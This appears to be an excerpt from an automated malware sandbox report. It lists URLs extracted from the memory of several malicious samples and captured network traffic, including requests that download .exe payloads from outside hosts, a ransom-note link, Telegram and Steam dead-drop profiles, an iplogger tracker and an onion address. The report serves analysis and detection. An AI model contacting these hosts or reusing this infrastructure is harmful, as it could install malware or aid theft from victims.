Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://blockchain.infoindex
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_249.46.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_249.46.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_249.46.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_249.46.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_249.46.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1736687792.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://freebl3.dllmozglue.dllmsvcp140.dllnss3.dllsoftokn3.dllvcruntime140.dll
Source: callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: build2.exe, 00000026.00000003.2609615996.000000000E768000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2735066360.000000000EDE7000.00000004.00000020.00020000.00000000.sdmp, 88149680561784461713924660.38.dr	String found in binary or memory: https://iplogger.com/2Xtsj4
Source: D900.exe, 00000025.00000003.2426667988.00000257686AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/2Xtsj4MZ
Source: 88149680561784461713924660.38.dr	String found in binary or memory: https://iplogger.com/2Xtsj4https://www.google.com/
Source: 88149680561784461713924660.38.dr	String found in binary or memory: https://iplogger.com/2Xtsj4https://www.google.com//f/
Source: 9EB5.exe, 00000021.00000002.2646072482.000000000E488000.00000004.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2646072482.000000000E4A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://localstats.org
Source: 9EB5.exe, 00000021.00000002.2646072482.000000000E4E8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onion
Source: 9EB5.exe, 00000021.00000002.2646072482.000000000E492000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionSoftware
Source: 9EB5.exe, 00000021.00000002.2646072482.000000000E4A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://localstats.orghttp://cvwwajk56uu2la7jl4e2fdxy56veg5hqlaondeb7whvy2vlmreq6jnid.onionhttps://l
Source: 9EB5.exe, 00000021.00000002.2646072482.000000000E488000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://localstats.orghttps://localstats.orgRegQueryValueExWhttps://localstats.orgUUIDUUIDPGDSEPGDSE
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: https://mozilla.org0/
Source: explorer.exe, 00000001.00000000.1736687792.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: chromecache_249.46.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: explorer.exe, 00000001.00000000.1736687792.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: chromecache_249.46.dr	String found in binary or memory: https://recaptcha.net
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: callcustomer.exe, 00000031.00000002.2949652811.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002E62000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199560322242
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199560322242update.zipopenopen_NULL%s
Source: chromecache_249.46.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_249.46.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_249.46.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_249.46.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: 27161175204923635753617454.38.dr	String found in binary or memory: https://support.mozilla.org
Source: 27161175204923635753617454.38.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2734791274.000000000EA19000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2559387007.000000000DEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: 27161175204923635753617454.38.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: build2.exe, 00000026.00000003.2609615996.000000000E768000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2735066360.000000000EDE7000.00000004.00000020.00020000.00000000.sdmp, 88149680561784461713924660.38.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 88149680561784461713924660.38.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: build2.exe, 00000026.00000003.2609615996.000000000E768000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2735066360.000000000EDE7000.00000004.00000020.00020000.00000000.sdmp, 88149680561784461713924660.38.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 88149680561784461713924660.38.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: build2.exe, 00000026.00000002.2702013439.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: build2.exe, 00000026.00000002.2702013439.00000000005DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/X
Source: build2.exe, 00000023.00000002.2433596886.000000000255D000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/cahalg#)
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2702013439.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/cahalgo
Source: build2.exe, 00000023.00000002.2434061649.0000000003EE0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2698187948.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/cahalgotrumasimages.zipMozilla/5.0
Source: 9EB5.exe, 00000021.00000002.2642720211.0000000005120000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000400000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://turnitin.com/robot/crawlerinfo.html)cannot
Source: C06.exe, 0000001C.00000002.4134884919.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-xN3VuzQl
Source: C06.exe, 0000001C.00000002.4134884919.00000000007ED000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.0000000000881000.00000004.00000020.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4134499495.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, _readme.txt2.28.dr	String found in binary or memory: https://we.tl/t-xN3VuzQl0a
Source: C06.exe, 0000001C.00000002.4134884919.00000000007ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-xN3VuzQlT
Source: C06.exe, 0000001F.00000002.4134499495.00000000008AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-xN3VuzQld
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1736687792.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1736687792.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: build2.exe, 00000026.00000003.2559387007.000000000DED1000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2733731045.000000000DED8000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.38.dr, mozglue.dll.38.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: build2.exe, 00000026.00000003.2609615996.000000000E768000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2735066360.000000000EDE7000.00000004.00000020.00020000.00000000.sdmp, 88149680561784461713924660.38.dr	String found in binary or memory: https://www.google.com/
Source: build2.exe, 00000026.00000003.2609690139.000000000E750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/&q=EgRmgZFEGN2dpakGIjByWYvt2Ok7SJ_S-758Ok-yydlZOMNOB66mld60E3QcDAVKZ9dB8HvOtD
Source: 88149680561784461713924660.38.dr	String found in binary or memory: https://www.google.com/https://www.google.com/
Source: 88149680561784461713924660.38.dr	String found in binary or memory: https://www.google.com/https://www.google.com//f/
Source: 96764528231374897933662026.38.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_249.46.dr	String found in binary or memory: https://www.google.com/log?format=json&hasfast=true
Source: chromecache_249.46.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: 88149680561784461713924660.38.dr	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZFEGN2dpakGIjByWYvt2Ok7SJ
Source: chromecache_249.46.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/lLirU0na9roYU3wDDisGJEVT/recaptcha__.
Source: 27161175204923635753617454.38.dr	String found in binary or memory: https://www.mozilla.org
Source: build2.exe, 00000026.00000002.2734791274.000000000EA19000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2559387007.000000000DEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 27161175204923635753617454.38.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: build2.exe, 00000026.00000002.2734791274.000000000EA19000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2559387007.000000000DEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 27161175204923635753617454.38.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: build2.exe, 00000026.00000002.2734791274.000000000EA19000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2559387007.000000000DEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: build2.exe, 00000026.00000003.2557670898.000000000E8E3000.00000004.00000020.00020000.00000000.sdmp, 27161175204923635753617454.38.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 27161175204923635753617454.38.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: build2.exe, 00000026.00000002.2734791274.000000000EA19000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000003.2559387007.000000000DEFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: build2.exe, 00000026.00000003.2557670898.000000000E8E3000.00000004.00000020.00020000.00000000.sdmp, 27161175204923635753617454.38.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1727453068.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1727453068.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Source: unknown

DNS traffic detected: queries for: onualituyrs.org

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 11_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

11_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /aes/c.gif?type=mv&reqver=1.0&rg=4313b38743954e2f85ce0de6d3baa687&tids=15000&med=10&pubId=251978541&TIME=20231013T140448Z&adUnitId=11730597&localId=w:EFC142BC-E096-E7E8-870F-847592C54827&deviceId=6755458847199546&anid=32C890401799B619C6BCE0B3FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=196B57D405F96A6E04AE447404176B64; MUIDB=196B57D405F96A6E04AE447404176B64
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Dkp+dP4Z5zapEpb&MD=nzWCzNSw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://rlibwtvoeubbxd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: onualituyrs.org
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Dkp+dP4Z5zapEpb&MD=nzWCzNSw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tmp/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: alayyadcare.com
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: montereyclub.org
Source: global traffic	HTTP traffic detected: GET /d1f678ec34d6fa8f1d632aaee203f5bf/288c47bbc1871b439df19ff4df68f076.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: loveperry.org
Source: global traffic	HTTP traffic detected: GET /cahalgo HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2Xtsj4 HTTP/1.1Host: iplogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
